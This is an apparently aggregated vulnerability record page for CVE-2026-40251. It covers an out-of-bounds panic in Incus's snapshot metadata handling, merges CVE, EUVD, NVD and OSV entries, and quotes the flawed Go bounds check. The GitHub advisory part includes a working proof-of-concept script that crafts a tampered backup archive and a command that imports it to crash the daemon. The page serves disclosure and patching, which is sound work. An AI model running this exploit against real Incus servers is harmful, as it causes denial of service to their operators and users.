Incus out-of-bounds panic in snapshot metadata handling allows denial of service
Collected exploitation and prediction evidence
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No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-40251
PublishedIncus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays, and the same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index to look up corresponding metadata in the parsed `Config.Snapshots` and `Config.VolumeSnapshots` slices. The guard condition `len(slice) >= i-1` is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds. An attacker can submit a backup archive that contains physical snapshot directories while supplying a tampered `index.yaml` with an empty or truncated snapshot metadata array, causing the daemon to index beyond the end of the metadata slice and crash. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.
- Source published
- 6 May 2026 20:40:10 UTC
- Source modified
- 7 May 2026 13:52:33 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
euvd · EUVD-2026-28213
PublishedIncus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays, and the same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index to look up corresponding metadata in the parsed `Config.Snapshots` and `Config.VolumeSnapshots` slices. The guard condition `len(slice) >= i-1` is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds. An attacker can submit a backup archive that contains physical snapshot directories while supplying a tampered `index.yaml` with an empty or truncated snapshot metadata array, causing the daemon to index beyond the end of the metadata slice and crash. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: May 6, 2026, 8:40:10 PM
dateUpdated: May 7, 2026, 1:52:33 PM
- Source published
- May 6, 2026, 8:40:10 PM (timezone not stated)
- Source modified
- May 7, 2026, 1:52:33 PM (timezone not stated)
- Observed here
- 7 Nov 2026 08:36:48 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
nvd · CVE-2026-40251
PublishedIncus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays, and the same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index to look up corresponding metadata in the parsed `Config.Snapshots` and `Config.VolumeSnapshots` slices. The guard condition `len(slice) >= i-1` is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds. An attacker can submit a backup archive that contains physical snapshot directories while supplying a tampered `index.yaml` with an empty or truncated snapshot metadata array, causing the daemon to index beyond the end of the metadata slice and crash. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-129
Original publisher date fields
published: 2026-05-06T21:16:01.210
lastModified: 2026-10-26T19:10:00.163
1 source CPE criteria · context only
- cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 6 May 2026 21:16:01 UTC
- Source modified
- 26 Oct 2026 19:10:00 UTC
- Observed here
- 27 Oct 2026 10:09:56 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-4m88-wxj4-9qj6
Published### Summary Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service. ### Details The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic. An attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node. Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go Affected Code: ``` func (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) { [...] postHook := func(inst instance.Instance) error { [...] for i, backupFileSnap := range srcBackup.Snapshots { var volumeSnapDescription string var volumeSnapConfig map[string]string var volumeSnapExpiryDate time.Time var volumeSnapCreationDate time.Time // Check if snapshot volume config is available for restore and matches snapshot name. if srcBackup.Config != nil { if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap { // Use instance snapshot's creation date if snap info available. volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt } if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap { // If the backup restore interface provides volume snapshot config use it, // otherwise use default volume config for the storage pool. volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil { volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt } // Use volume's creation date if available. if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() { volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt } } } [...] } [...] } [...] } [...] func (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error { [...] if !isRemoteClusterMove || args.StoragePool != "" { for i, snapshot := range args.Snapshots { snapName := snapshot.GetName() newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName) snapConfig := vol.Config() // Use parent volume config by default. snapDescription := volumeDescription // Use parent volume description by default. snapExpiryDate := time.Time{} snapCreationDate := time.Time{} // If the source snapshot config is available, use that. if srcInfo != nil && srcInfo.Config != nil { if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName { // Use instance snapshot's creation date if snap info available. snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt } if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName { // Check if snapshot volume config is available then use it. snapDescription = srcInfo.Config.VolumeSnapshots[i].Description snapConfig = srcInfo.Config.VolumeSnapshots[i].Config if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil { snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt } // Use volume's creation date if available. if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() { snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt } } } [...] } } [...] } ``` ### PoC The following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore. Step 1: Generate a valid backup and tamper with its snapshot metadata From an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied. Commands: ``` cat <<'EOF' > poc_snapshot_bounds.sh #!/bin/bash set -e BASE_NAME="base-$(date +%s)" PANIC_NAME="panic-$(date +%s)" incus init images:alpine/edge "$BASE_NAME" --project default incus snapshot create "$BASE_NAME" snap0 --project default incus export "$BASE_NAME" valid_snapshot_base.tar.gz --project default mkdir -p extract_snapshot_bounds tar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/ chmod -R u+rwX extract_snapshot_bounds/ python3 -c " import os import sys base = '$BASE_NAME' panic = '$PANIC_NAME' with open('extract_snapshot_bounds/backup/index.yaml', 'r') as f: lines = f.read().splitlines() out = [] in_skip = False skip_indent = 0 for line in lines: line = line.replace(base, panic) indent = len(line) - len(line.lstrip()) if in_skip: if not line.strip(): continue if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')): continue else: in_skip = False if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')): out.append(line.split(':')[0] + ': []') in_skip = True skip_indent = indent continue out.append(line) with open('extract_snapshot_bounds/backup/index.yaml', 'w') as f: f.write('\n'.join(out)) " cd extract_snapshot_bounds/ tar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/ cd .. rm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz echo "[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz" EOF bash poc_snapshot_bounds.sh ``` Result: ``` [+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz ``` Step 2: Trigger the vulnerable restore path From the same Incus client, import the crafted archive. Command: ``` incus import exploit_snapshot_bounds_panic.tar.gz --project default ``` Result: ``` Error: websocket: close 1006 (abnormal closure): unexpected EOF ``` ### Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)
- Source published
- 4 May 2026 19:16:25 UTC
- Source modified
- 25 Jun 2026 18:56:06 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Publisher rating · HIGH
osv · GO-2026-5127
PublishedIncus Vulnerable to Panic via Snapshot Bounds Check in github.com/lxc/incus
- Source published
- 25 Jun 2026 18:26:48 UTC
- Source modified
- 25 Jun 2026 18:45:23 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.